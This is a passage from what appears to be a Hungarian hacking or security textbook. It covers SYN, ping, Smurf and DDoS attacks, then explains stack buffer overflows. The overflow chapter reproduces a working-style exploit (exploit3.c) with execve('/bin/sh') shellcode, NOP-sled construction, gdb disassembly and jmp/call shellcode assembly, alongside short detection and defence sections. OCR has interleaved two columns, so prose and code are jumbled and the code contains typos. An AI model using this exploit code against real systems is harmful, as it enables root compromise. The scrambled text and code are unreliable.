Mint ahogy a Land támadásoknál már leírtuk, ha két számítógép között
TCP/IP-n keresztül jön létre kapcsolat, a résztvevők először egy Three Way
Handshake-et váltanak. A TCP-Syn-Flodding támadásnál a támadó először ha-
mis feladóval nagy számú SYN-csomagot, vagyis „Beszélni akarok veled" üze-
netet küld a hostra. A host ezt megpróbálja egy „OK, kész vagyok" ACK-
válaszcsomaggal nyugtázni, és előállítani a kapcsolatot. Ez a kísérlet azonban,
a nemlétező feladó miatt, sikertelen lesz, és a számítógép bizonyos várakozási
idő után eredménytelennek nyilvánítja a kísérletet. Ha ezt a várakozási időt a
támadó arra használja, hogy a hostot rettenetes mennyiségű további SYN-
csomaggal bombázza, az rövid időn belül felmondja a szolgálatot.
íme, egy ilyen támadás lefolyásának a sémája.
• A támadó elküldi a SYN l-et.
• A host válaszol a SYN l-re, elküldi az ACK l-et, és várja a választ.
• A támadó elküldi a SYN 2-t.
• A host válaszol a SYN 2-re, elküldi az ACK 2-ét, és várja a választ az
ACK l-re és 2-re.
• A támadó elküldi a SYN 3-at.
• És így tovább.
Ezek ellen a támadások ellen is régóta létezik már bugfix.
 10.6 Ping-Flodding
A pingeket az interneten és a hálózatokban használják, hogy megállapít-
sák egy host elérhetőségét. Megpingelünk egy hostot, és ha elérhető, vissz-
hangszerű választ ad. Ezt használják ki a támadók a Ping-Floddingnál.
Pingekkel bombázzák a célt, a host pedig valamennyire megpróbál vála-
szolni. Ha az ismétlés elég gyakori, a host nem tud több kérdésre válaszol-
ni. Ráadásul a ping-flodding támadásokat az áldozat csak akkor fogja észre-
venni, ha a szolgáltatója a forgalom szerint számol el.
10.7 Smurf
A Smurf-nél a támadó egy hálózat broadcast címére küld egy pinget ma-
nipulált feladócímmel, amelyre minden, a broadcast cím mögötti számító-
gép válaszol. Ez bizony rengeteg választ jelent. A megváltoztatott feladócí-
mek, az áldozatéi, azt eredményezik, hogy minden választ az áldozat kap
meg. Ha ilyen módon másodpercenként 1000 pinget küldenek 1000 külön-
böző számítógépre, az áldozat több mint egymillió választ kap. Az érintett
rendszer a bemenő adatok terhe alatt szó szerint összeomlik. Az ilyen tá-
madások után többnyire teljesen le kell venni a szervert a hálózatról.
Smurffel akár nagyon kis átviteli kapacitással rendelkező támadók (mo-
dem- vagy ISDN-csatlakozás) is térdre tudnak kényszeríteni nagy átviteli
sávszélességgel rendelkező áldozatokat.
10.8 DDoS-
Distributed Denial of Service támadások
A DDoS-nál (DDoS-támadás = elosztott szolgáltatás megtagadó támadás)
még a tulajdonképpeni roham előtt szerez a támadó elérést néhány másik rend-
szerre, és ezeket arra használja, hogy az áldozatát nagy mennyiségű adatcsomag-
gal szembesítse. Az előkészítés abból áll, hogy a támadó a lehető legtöbb olyan
rendszert megtalálja, amelyeken biztosítani tudja magának a rendszergazdai jo-
gokat, hogy fel tudja tölteni a scripteket a támadáshoz. Ehhez a támadó hibás
rendszereket keres szkenneléssel (közelebbit lásd a szkennelésről szóló fejezet-
ben). Ezeken a rendszereken trójaiakat helyez el, hogy távirányítani tudja a szá-
mítógépeket. (A trójaikról a 4. fejezetben írtunk.) Ha elegendő kiszolgálót ta-
lált, ezeket feltölti scriptekkel vagy programokkal, s az áldozatot csomagok
áradatával önti el, amitől az összeomlik. A 2000. februári híres DDoS táma-
dások óta állandóan növekszik az ilyen jellegű támadásokra alkalmas progra-
mok száma a Yahoo, az eBay és társai ellen.
Előkészület egy DDoS
támadásra
10.9 Védelem a DoS-támadások ellen
A normál felhasználó számítógépe nemcsak áldozata lehet a DoS-
támadásoknak, hanem arra is használhatják a támadók, hogy rajta keresztül
hajtsák végre más rendszerek ellen a támadásokat. A scripteket, illetve a
programokat többnyire trójaiak segítségével telepítik a rendszerekre, ezért
is elengedhetetlen, hogy mindig legyen aktuális vírusvizsgáló a gépünkön.
A DoS-támadások ellen a jól konfigurált tűzfalak is védelmet kínálnak. A
segítségükkel el lehet kapni a módosított csomagokat, és meg lehet akadá-
lyozni, hogy sor kerüljön a további feldolgozásukra.
Legyen az szerver vagy normál felhasználó - minden esetben érvényes,
hogy mindig tájékozódni kell a mindenkori operációs rendszer biztonságot
érintő frissítéseiről. A gyártók előbb vagy utóbb felfedezik az operációs
rendszerekben és a szerverszoftverekben a biztonsági szempontból gyenge
pontokat, és rövid idő múlva frissítést kínálnak hozzájuk. Hogy a gyenge
pontok dolgában mindig képben legyünk, érdemes előfizetni a Computer
Emergency Response Teams (CERT) levelezőlistájára http://www.cert.org és
a gyártóéra. Ezek azonnal tájékoztatnak az újabb gyenge pontok felfedezé-
séről, és beszerzési forrást kínálnak a megfelelő frissítésekhez.
11. fejezet - Tartalom

11.1 Az operációs rendszer memóriakezelése

11.1.1 Szöveg
11.1.2 Adatok
11.1.3 A stack (magyarul: halom/rakás)
11.2 A Buffer-Overflow-támadások
11.2.1 Hogyan lehet ezt kihasználni?
11.2.2 Hogyan működik?
11.2.3 Minek kell a Shellcode változónál állnia?
11.3 Áldozat a Buffer-Overflow-kért
11.4 Honnan lehet felismerni a Buffer-Overflow-t?
11.5 Milyen védelmi mechanizmusok vannak?
11.5.1 Összefüggés a CPU és a Buffer-Overflow között.
11.5.2 A Buffer-Overflow-k és a tűzfalak

11 Buffer-Overflow
1996-ban az AlephOne Bugtraq levelezőkör moderátora cikket közölt
Smashing the Stack for Fun and Profit címen. Ebben leírta, hogyan vezethet
a rossz programozás biztonsági résekhez, amelyeket aztán puffer-túlcsor-
dulásos, vagyis Buffer-Overflow támadásokhoz lehet felhasználni.
A Buffer-Overflow-rohamokat arra használják, hogy támadásokat hajt-
sanak végre szerverek ellen. Ezzel egymásra épülő célokat lehet elérni: pl.
egy bizonyos szolgáltatást összeomlásra kényszeríteni, hogy később speciá-
lis jogokat szerezzenek a szerverhez. Ezt úgy csinálják, hogy megöröklik a
megszakított szolgáltatás jogait. Egyes esetekben ez akár a boot-jogokig ter-
jedhet, amelyekkel az egész számítógép felett ellenőrzést szereznek. De ar-
ra is lehet használni ezeket a támadásokat, hogy kidöntsenek egy weboldalt.
A legérdekesebb ezekben a támadásokban a Buffer-Overflow-rohamok
függetlensége a támadó székhelyétől. Így végre lehet hajtani fizikai hozzá-
féréssel a szerverhez, de távoli eléréssel is.
11.1 Az operációs rendszer memóriakezelése
Az alábbi vázlat egy operációs rendszer memóriafelépítését szemlélteti.
Alsó memória
SZÖVEG
inicializált adatok
inicializálatlan adatok
Felső memória STACK
Memóriafelépítés
11.1.1 Szöveg
Egy adott programhoz rendelt memóriatartomány több részre oszlik. Az
alsó memóriában illetve a szövegrészben csak karakterláncok vannak tárolva,
például a Súgó szövege, amelyet egy program kiad. Ezeket a karakterlánco-
kat az operációs rendszer „readonly"-ként kezeli, vagyis ezeken nem lehet
változtatni. Más elérések „segmentation fault" hibával végződnek.
11.1.2 Adatok
Az adatrész inicializált és inicializálatlan adatokra osztható, amelyek
,,static"-ként deklarálódnak. Ennek a hozzárendelt területnek a méretét a
„brk" paranccsal lehet megkapni.
11.1.3 A stack (magyarul: halom/rakás)
A stacket elképzelhetjük úgy, mint egymásra halmozott lapokat, ahol leg-
felül van a 10. számú és legalul az 1. számú lap. A stack az a memóriaterület,
amelyben a normál változók adatai találhatók. A stack LIFO-elven (last in,
first out) működik, ellentétben a FIFO-elvvel (first in, first out), mint
amilyennel például a pipe-nál találkozhatunk. Ez azt jelenti, hogy az ele-
mek, amelyek legfelül helyezkednek el (tehát utoljára kerültek oda), első-
ként kerülnek ki. A stack szerkesztésének legfontosabb assembler parancsai
a PUSH (adatokat tesz a stackhez) és a POP (olvassa a stack legfelső elemét).
A címek, amelyekre egy program futása ugrik, ha egy eljárás vagy függ-
vény lefutott, szintén a stackben tárolódnak (például a szegmensek kezdő
címei.) Erről azonban később.
11.2 A Buffer-Overflow-támadások
A Buffer-Owerflow tulajdonképpen annyit jelent, hogy többet írnak a
pufferbe, mint amennyit az fel tud dolgozni.
Azokat az adatokat, amelyek már nem férnek be a pufferba, ahelyett,
hogy eldobná a program, megpróbálja beleírni. Ennek következtében az
adatmennyiség kilóg a pufferből egy olyan területre, amely már nem ehhez végül rátesz még egy lapáttal. A biztos eredmény: memóriavédelmi hiba és
a pufferhez, hanem más változókhoz tartozik. Eközben az adatok mindent a program összeomlása.
felülírnak, amit ott találnak, csak hogy megszerezzék a nekik szükséges he- Ha a támadó kapcsolatot épít fel a hosttal, és egy hosszú karakterláncot
lyet. Ez természetesen hibákat eredményez, és végül a program hibás mű- küld egy meghatározott programnak, az lefagy. Azonban bizonyos bevite-
ködését, a tulajdonképpeni Buffer-Overflow-t. lekkel még végre lehet hajtatni egy kódot az instabil rendszeren. Itt a táma-
Egy példa az ilyen kódra: dók különösen abban érdekeltek, hogy egy shellt (parancssort) nyissanak
root-jogokkal a rendszeren. Sok, úgynevezett kizsákmányoló (exploit) kód
voidman( ) {
//a ToGreat változót 256 bájttal inicializálja van, amelyek arra valók, hogy egy Buffer-Overflow segítségével „megörö-
char ToGreat[256] köljenek" egy root-jogokkal rendelkező shellt.
Ezzel át lehet venni az ellenőrzést a számítógép felett.
//ciklusváltozó Talán felmerül a kérdés, hogy miért kell egyáltalán root-jogokkal futniuk a
int i; programoknak. Ennek a következő a háttere: egyes funkciók, mint a raw
//egy ciklus, amely A-kkal tölti ki a memóriaterületet sockets vagy bizonyos rendszererőforrások elérése, például az 1024 alatti
for(i = 0; i < 255; i++) portoké vagy eszközöké, root-jogokat követel meg. A ping egy jó példa az
{ olyan programra, ami root-jogokkal fut, de minden felhasználó elindíthat-
large_string[i] = 'A'; ja. Ez egy SUID bitet helyez el, ami azt jelenti, hogy a program a tulajdonos
; és nem a felhasználó jogaival fut. Ez főleg a SUID-programoknál érdekes,
amelyek a roothoz tartoznak. Világos, hogy egy ilyen program biztonsági
OverFlow (To Great)
kockázatot jelenthet, hiszen rootként futó eljárások csak olyanok lehetnek,
} amelyek már bootoláskor elindulnak. Ha minden felhasználó root-jogokkal
//Most jön a függvény, amely a tulajdonképpeni hibát okozza tud programokat futtatni, természetesen megnő a lehetséges hibaforrások
void Overflow(char *string) száma.
{
//A puffer kisebb, mint a ToGreat változó, amit átadtak
charTolittle[16] 11.2.2 Hogyan működik?
//megpróbálja 256 bájttal teleírni a puffért, holott csak 16 bájtra Shell-kód alatt olyan assembler-kódot értünk, amely arra kényszeríti a
volna lehetőség, programot, hogy egy shellt hozzon létre. A shell-kód értelme és célja, hogy
//ezért az utána elhelyezkedő terület felülíródik ez fusson a főprogram helyett, amikor a program egy eljárásból vagy függ-
strcpy(ToLittle, string); vényből visszatér.
} A továbbiak megértéséhez alapos assembler- és Shellscript-ismeretekre
van szükség - különben nem fog menni. A kivitelezéshez szükséges progra-
mok (GCC=GNU C Compiler, GDB=GNU Debugger) futtatásához még
11.2.1 Hogyan lehet ezt kihasználni? Linux is kell. Forráskódokkal mutatjuk meg, hogyan nem íródnak felül vá-
logatás nélküli tetszőleges programrészek, s hogyan lehet célzottan meg-
Ha a támadó Buffer-Overflow-val akar lefagyasztani egy programot, ak- változtatni a függvény visszatérési pontjának a címét.
kor csak annyit kell tennie, hogy addig ír a pufferba, amíg az megtelik, és
 Magyarázatképpen egy forráskód: addr = get_sp( ) - offset;
exploit3.c Az „Offset" értéke 0
#include printf("Using address: 0x%x\n", addr);
#define DEFAULT_OFFSET 0
#DEFAULT_BUFFER_SIZE 512 Kiírja a „Using address: 0x%x\n" -t és az „addr" értékét.
#defineNOP 0x90 ptr = buff;
A „ptr" megfelel a „bufF"-nak
Olyan fogalmakkal lehet dolgozni, mint a „DEFAULT_OFFSET", hogy
addr_ptr = (long *) ptr;
a kód, azáltal, hogy kevesebb számot használunk, olvashatóbbá váljon. Fon-
tos még megemlíteni, hogy a NOP-kód csak a Ox90-es Intel CPU-kon fut. Pointer a ptr címére
for (i = 0; i < bsize; i+=4)
cbar shettcode[ ] = *(addr_ptr++) = addr;
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\
xb0\x0b" Pointer az „addr-ptr" helyére, mert az addr-ptr címét minden ciklusle-
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\ futással növeljük, a pointer minden alkalommal egy bájttal tovább mutat.
x40\xcd" for (i = 0; i < bsize/2; i++)
"\x80\xe8\xdc\xff\xff\xff\bin/sh"; buff[i] = NOP;
A Shellcode változóhoz egy értéket rendelünk, a Shellcode csak a A NOP-kódokat a pufferméret feléig írjuk a memóriába.
„bin/sh", a többi assembler.
ptr = buff+ ((bsize/2) - (strlen(shellcode)/2));
unsigned long get_sp(void) { for(i = 0; i < strlen(shellcode); i++)
asm("movl%esp,%eax"); *(ptr++) = shellcode[i];
} Beírjuk a shellkódokat a memóriába.
A „get_sp" változó feltöltése assembler-kóddal}
buff[bsize -1]= '\0';
mid main(int argc, dhar *argv[ ]) {
Most elhelyezzük az endbyte-ot.
char *buff, *ptr;
long *addr:ptr, addr; memcpy(buff;"EGG=",4);
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; putenv(buff);
int i; system("/bin/bash ");
A változókhoz értéket rendel }
if (argc > 1) bsize = atoi(argv[1]); Ez a kód még nincs kész, mert még nem ismerjük a shellkód helyét a
if (argc > 2) offset = atoi(argv[2]); memóriában. Ezért nagyon pontosan meg kell becsülni, hogy eltaláljuk a
if (!(buff=malloc(bsize))) { megfelelőt. Természetesen a támadók több NOP-kódot is beépítenek. Egy
printf("Can't allocate memory. \n"); valódi exploitnál ez többnyire több mint 100 - 1000 NOP kód, hogy nö-
exit(0); veljék a találat esélyeit.
}
 11.2.3 Minek kell a Shellcode változónál állnia? 0x8000158: popl %ebp
0x8000159: ret
Most már mindenképpen segítségül kell hívni egy GDB-t! End of assembler dump.
(gdb) disassemble __execve
shellcode.c
Dump of assembler code for function __execve:
#include
0x80002bc <__execve>: pushl %ebp
void main( ) { 0x80002bd <__execve+l>: movl %esp, %ebp
char *name[2]; 0x80002bf <__execve+3>: pushl %ebx
name[0] = "/bin/sh"; 0x80002c0 <__execve+4>: movl $0xb,%eax
name[1] = NULL; 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
execve(name[0], name, NLL); 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
}
0x80002ce <__execve+18>: int $0x80
Hogy megnézzük, hogyan néz ki a forráskód assemblerben, elindítjuk, 0x80002d0 <__execve+20>: movl %eax,%edx
és GDB-vel elemezzük. Ehhez először a GCC-vel kell compilerelni a 0x80002d2 <__execve+22>: movl %edx,%edx
programot. A parancs így néz ki: 0x80002d4 <__execve+24>: jnl 0x80002e6 <_execve+42>
0x80002d6 <__execve+26>: negl %edx
gcc -o shellcode -ggdb -static shellcode.c
0x80002d8 <__execve+28>: pushl %edx
Most elindítjuk a GDB-t: 0x80002d9 <__execve+29>: call 0x80001a34<__normal_errno_location>
gdb shellcode 0x80002de <__execve+34>: popl %edx
A GDB ingyenes szoftver, és másolatot is lehet róla készíteni! 0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xfffffffc,%eax
(gdb) disassemble main 0x80002e6 <__execve+42>: popl %ebx
Dump of assembler code for function main: 0x80002e7 <__execve+43>: movl %ebp, %esp
0x8000130: pushl %ebp 0x80002e9 <__execve+45>: popl %ebp
0x8000131: movl %esp,%ebp 0x80002ea <__execve+46>: ret
0x8000133: subl $0x8,%esp 0x80002eb <__execve+47>: nop
0x8000136: movl $0x80027b8,0xfffffff(%ebp) End of assembler dump.
0x800013d: movl $0x0,0xfffffffc(%ebp)
0x8000144: pushl $0x0 Hogy ezt megértsük, először a „main"-t analizáljuk:
0x8000146 leal 0xfffffff8(%ebp),%eax 0x8000130: pushl %ebp
0x8000149: pushl %eax 0x8000131: movl %esp,%ebp
0x800014a: movl 0xfffffff8(%ebp),%eax 0x8000133: subl $0x8,%esp
0x800014d: pushl %eax
0x800014e: call 0x8002bc <__execve> Ez volt az eljárás kezdete. A régi frame-pointert mentjük, és egy új
0x8000153: addl $0xc,%esp frame-pointert állítunk elő, amely szabad helyet készít a helyi változóknak.
0x8000156: movl %ebp,%esp Ebben az esetben:
 char *name[2]; Az eljárás kezdete
0x8000136: movl $0x80027b8,0xfffffff(%ebp) 0x80002c0 <__execve+4>: movl $0xb,%eax
A 0x80027b8 értéket (a ,/bin/sh" címe) bemásoljuk az első pointer of A 0xb-t a stackbe másoljuk. Ez az index a syscall-táblában. 11 az execve.
name[ ] -be. Ez ugyanazt jelenti mint:
name[0]="/bin/sh"; 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x800013d: movl $0x0,0xfffffffc(%ebp) A "/bin/sh" címét bemásoljuk az EBX-be.
A 0x0 (NULL) értéket a második pointer of name[ ] -be másoljuk. Ez 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
ugyanazt jelenti mint: A name [ ] címét bemásoljuk az ECX-be.
name[1] = NULL;
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
Az execve( ) meghívása itt kezdődik.
A Null pointer címét az EDX-be másoljuk.
0x8000144: pushl $0x0
0x80002ce <__execve+18>: int $0x80
Az execve( ) argumentumait fordított sorrendben helyezzük (push) a
Kernel módra váltunk.
stackbe. NULL-ával kezdünk.
Tulajdonképpen ez minden az execve( ) meghívásáról. De mi történik,
0x8000146: leal 0xfffffff8(%ebp),%eax ha félresikerül?
Betöltjük a name[ ] címét az EAX regiszterbe. A program végeérhetetlenül tovább hozná az értékeket a stackből, ame-
lyek azután más értékeket tartalmazhatnának. Nem valami finom dolog. A
0x8000149: pushl %eax támadó egy ilyen programot természetesen megpróbál tisztán programoz-
Beírjuk a name[ ] címét a stackbe. ni. Ezt úgy tudja elérni, hogy hozzáfűz egy exit syscall-t:

0x800014a: movl 0xfffffff8(%ebp),%eax exit.c

Betöltjük a "/bin/sh" sztring címét az EAX regiszterbe. #include
void main( ) {
0x800014d: pushl %eax exit(0);
Beírjuk a stackbe a "/bin/sh" sztring címét. }
0x800014e: call 0x8002bc <__execve>
gcc -o exit -static exit.c
Az execve( ) library eljárás meghívása. Beírja az instruction pointert a gdb exit
stackbe.
(no debugging symbols found)...
Most execve( ). Minden folyamat az operációs rendszertől függ.
(gdb) disassemble_exit
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp, %ebp Dump of assembler code for function _exit:
0x80002bf <__execve+3>: pushl %ebx 0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
 0x800034f <_exit+3>: pushl %ebx szünk, és a Call parancshoz egy Jump parancsot, a sztringcím lesz visszaté-
0x8000350 <_exit+4>: movl $01,%eax rési címként megadva, mikor a hívás lefutott. Most már csak annyit kell
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx tenni, hogy a visszatérési címet bemásoljuk a regiszterbe.
0x8000358 <_exit+12>: int $0+80 A J itt a Jump, és a C a Call helyett áll. A programfutás a következőkép-
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx pen néz ki:
0x800035d <_exit+ll>: movl %ebp, %esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
Az Exit syscall-t a 0xl-re helyezzük az EAX-ben, ez az exit kód, és ez-
után kell végrehajtani az „int 0x80"-at. A legtöbb program 0-t ad vissza, ha
nem volt hiba.
Összefűzve ez a következőképpen néz ki:
Elhelyezzük a sztringet a kód mögött, természetesen a sztring címét és
az endbyte nullát a tömb mögé tesszük. A programkód a módosításokat követően

movl string_addr,string_addr_addr jmp offset-to-call # 2 bytes

movb $0x0,null_byte_addr popl %esi . # 1 byte
movl $0x0,null_addr movl %esÍ,array-offset(%esi) # 3 bytes
movl $0xb, %eax movb $0x0,nullbyteoffset(%esi) # 4 bytes
movl string_addr, %ebx movl $0x0,null-offset(%esi) # 7 bytes
leal string_addr,%ecx movl $0xb,%eax # 5 bytes
leal null_string, %edx movl %esi, %ebx # 2 bytes
int $0x80 leal array-offset, (%esi), %ecx # 3 bytes
movl $0x1, %eax leal null-offiet(%esi),%edx # 3 bytes
movl $0x0, %ebx int $0x80 # 2 bytes
int $0x80 movl $0x1, %eax # 5 bytes
/bin/sh string goes here. movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
Mivel soha nem tudjuk pontosan, hogy pontosan hova kerül a memóriá- call offset-to-popl # 5 bytes
ban az exploit kódunk, könnyítésképpen bizonyos parancsokat lehet hasz- /bin/sh string goes here.
nálni. Jump-pal és Call-lal olyan parancsokat lehet használni, amelyekkel
relatív címeket kapunk. Ha a „/bin/sh" sztring elé egy Call parancsot te-
 Ha az offseteket Jump-ról Call-ra, Call-ról Popl-ra, a sztringcímről álló puffer. A parancsok egyszerűen egy null-karakterig (\0) olvasnak, egy
tömbre és a sztringcímet nullára számoljuk át, ezt kapjuk: null-terminálással megjelölt program végéig. A sztring azonban lehet túl
hosszú, és a \0 jóval a puffer vége után is elhelyezkedhet. Az ilyen funkció-
jmp 0x26 # 2 bytes
kat a forráskódban a legegyszerűbb megkeresni, ami pl. Linux-
popl %esi # l byte
programoknál szabadon hozzáférhető. A másik eljárás arra, hogy egy puf-
jnovl %esi,0x8(%esi) # 3 bytes
fért bevitelekkel megtöltsünk, egy ciklus, amely elolvas és a pufferbe ír
movb $0x0,0x7 (%esi) # 4 bytes
egyes karaktereket.
movl $0x0,0xc(%esi) # l bytes
movl $0xb,%eax # 5 bytes
movl %esi, %ebx # 2 bytes Mik azok a Heap-based Overflow-k?
leal 0x8(%esi),%ecx # 3 bytes
Heap-based Overflow-kat sokkal nehezebb előállítani, mint a Stack
leal 0xc(%esi),%edx # 3 bytes
Overflow-kat, ezért ritkábban is találkozni az előbbiekkel, s a programozók
int $0x80 # 2 bytes
sem nagyon védik ettől a programjaikat. Hozzáértő hackereknek tehát ez
movl $0x1, %eax # 5 bytes
egy egészen különleges támadási pont! A gond az, hogy soha nem statikus
movl $0x0, %ebx # 5 bytes
puffereket, hanem helyette malloc( ) -ot használnak. A programozók úgy
int $0x80 # 2 bytes
gondolják, ezzel minden veszélytől védve vannak. Ez persze véd a Stack
call 0x2b # 5 bytes
Overflow-któl, de nem a Heap-based Overflow-któl. Lényegében a dina-
string \"/bin/sh\" #8 bytes
mikus hozzárendelés sem sokkal biztonságosabb.
Hogy kiderüljön, működik-e a kód, először a compilerrel lefordítjuk, és
azután teszteljük. De van egy probléma! Ez a kód sajátosan változik. Sok
operációs rendszer ezt megint csak nem engedi meg. Ezért a kódot, ame- 11.4 Honnan lehet felismerni a Buffer-Overflow-t?
lyet futtatunk, egy fájlszegmensbe vagy stackbe kell csomagolni, és ezután
a transzferkontrollt kell használni. Hogy ezt elérjük, a kódot egy globális Szerencsére sok lehetőség van a Buffer-Overflow-k felismerésére, ami
tömbbe helyezzük a fájlszegmensben. Először azonban a bináris kód hex- attól függ, hogy mi áll hozzá a rendelkezésünkre. Ha olyan programról van
megjelenítéséhez kell jutnunk. szó, amelynek megvan a forráskódja, akkor nincs gond. Itt szisztematikusan
Ha ez kész, akkor lehet mindent compilerelni, és ismét a GDB-t hasz- ellenőrizni kell a paraméter-átadásokat és az egyes funkciókat (a DLL-eket
nálni. és a library-ket), az ismert bizonytalansági faktorokra.
Ha nincs ilyen lehetőség (nincs meg a forráskód), a user interfészen ke-
resztül lehet váratlan bevitelekkel tesztelni a programot. Ilyenkor többnyi-
11.3 Áldozat a Buffer-Overflow-kért re a sztringhosszúságot figyeljük az átadási pontokon, és hibákat keresünk.
Ha egy bevitel ellenőrzés nélkül, közvetlenül a Strcpy-val kerül használatba,
Ezekhez a támadásokhoz tehát egy pufferra van szükség, amelyhez a vé- logikus, hogy túl lehet tölteni a puffért.
ge után is hozzá tudunk írni, ami természetesen egy fatális programozási íme, egy kis példa:
hiba. A hiba azonban többnyire nem a programozón múlik, neki elég né- void tulcsordul(char argvFG)
hány könyvtárfunkciót használnia, és máris jelentkeznek ezek a problémák.
{
A könyvtárfüggvények tartalmazta parancsok, a gets( ), a sprintf( ), a vprintf( ), char BuffertoLittle [4];
a strcat( ), a strcpy( ) és a scanf( ) nem figyelnek arra, mekkora a rendelkezésre
 if (strlen(argv) > 7) Természetesen más módszerek is vannak. Egy programot lehet pl.
{ disassemblálni, és részletről részletre átvizsgálni.
cout« "Rossz: a puffer túl fog csordulni\n";
} Honnan ismerünk fel egy Buffer-Overflow-támadást?
eke
{ A Buffer-Overflow-támadásokat nagyon nehéz felfedezni. A felderítés
cout « "Bevitel OK, hajtsd végre\n"; egyik lehetősége lenne a szerver lekapcsolása, mielőtt a hacker törölhetné a
strcpy(BuffertoLittle, argv); nyomait a logfájlokból. Ha ez megtörténik, a támadó többé nem tud mit
} kezdeni ezzel a számítógéppel. Ez akkor segíthet, ha egyszer már meglep-
/* Helyes: ahogy a felső részben, úgy kell ezt */ tek. Így már a hálózat felügyeletével is fel lehet ismerni, honnan jönnek az
/* csinálni, először ellenőrizni, és utána végrehajtani vagy */ adatok.
/* mindjárt biztonságos függvényeket használni */
strcpy(BuffertoLittel, argv);
/*Rossz: Ha argc[ ] túl nagy, „PZK" túlfut */ 11.5 Milyen védelmi mechanizmusok vannak?
}
int main(int argc, char *argv[ ]) { Tulajdonképpen csak egy Linux-verzió, a SecureLINUX és a Solaris 2.6+
cout« "Az átadandó paraméter hossza:" védenek, illetve védhetnek bizonyos mértékig e támadások ellen. A Solaris
« strlen (argvF1G) 2.6+ nál a „normál" telepítés után aktiválni lehet egy kapcsolót, ami meg-
« "\n"; akadályozza, hogy a „heap"-ben és a „stack"-ben programok futhassanak
tulcsordul(argv[1]); (noexec_user_stack, noexec_user_heap).
Ezáltal a Solarissal kapott programok, ha a felhasználói privilégiumokat
}
nem használják ki túlságosan, nincsenek veszélyben. A SecureLINUX-nál
A demonstráláshoz egyszerűen le kellene fordítani ezt a programot, és a egy patch-re van szükség ehhez. A standard kernelt kell megváltoztatni, és
következőképpen elindítani: „Név 052698541". egy speciális compilerrel minden programot újra kell fordítani.
Itt az átadandó paraméternek olyan a hossza, hogy az összedöntí a prog- A hacker célja mindig az, hogy egy rootshell-hez jusson egy másik
ramot, mert a beírás hosszabb volt, mint azt a programozó várta. Linux-gépen. Ezt indítja el az exploiton keresztül is. De felhasználóként
Itt nem a forráskód a fontos, hanem egy manuálisan előidézett Buffer- vagy rendszergazdaként megvan még az a lehetőségünk is, hogy a shell-
Overflow demonstrálása. Megmutatja, hogyan lehet paraméterekkel és más neveket és az /etc/passwd-fájlt megfelelően megváltoztassuk. Így a fenti példa
átadásokkal (ezek más helyeken is történhetnek) szándékosan lefagyasztani szerinti Buffer-Overflow természetesen nem sikerülhet. A névadási kény-
programokat, vagyis manuálisan, bevitelekkel tesztelni a Buffer-Overflow szer miatt ez a variáció szinte mindig sikeres. Különösen, ha minden prog-
lehetőségeket. ram forráskódja megvan, és az egész Linuxot kompletten át lehet írni, pl. a
Ha egy kifelé nyitott hálózati szolgáltatóról van szó, amelynél a paran- „root"-ot lehet egyszerűen így nevezni: „HAHA".
csokat és a szintaxist is meg lehet tudni, akkor a Netcattel egyenként lehet Ezért érvényes a régi szabály: „Minél jobban eltérsz a szabványosított
ellenőrizni a parancsokat a Buffer-Overflow-ra. Ahogy az előbbiekben, itt megnevezésektől, annál nehezebb lesz a támadás."
is szándékosan túl hosszú beviteleket kell csinálni, vagy váratlan karakte-
rekkel feltölteni, és a reakcióra várni.
 11.5.1 Összefüggés
a CPU és a Buffer-Overflow között
Manapság sok szervert működtetnek a kereskedelemben nem szokásos
CPU-kkal. Ezáltal a támadót vissza lehet fordítani az assembler-kód irá-
nyába, és csökken annak a kockázata, hogy egy készre fordított exploit jele-
nik meg az interneten. Így a tapasztalatlan támadóknak aligha van esélyük.

11.5.2 A Buffer-Overflow-k és a tűzfalak

Egy tűzfallal természetesen csökkenteni lehet a Buffer-Overfíow-
támadások lehetőségét. Teljes biztonságban azonban sohasem érezhetjük ma-
gunkat.
A tűzfal megnehezíti a külső, illetve a belső interfészek megtámadását.
Mivel a tűzfalak szinte mindig viszonylag kicsik, nem fognak bennük kiin-
dulási pontot találni Buffer-Overflow-khoz. Konfliktusok abból adódhat-
nak, ha a szervernek még más feladatokat is el kell látnia, pl. e-mail
gateway, router, proxy, HTTP-szerver vagy adatbázis szerverként műkö-
dik. Ezek nagy biztonsági kockázatot jelentenek.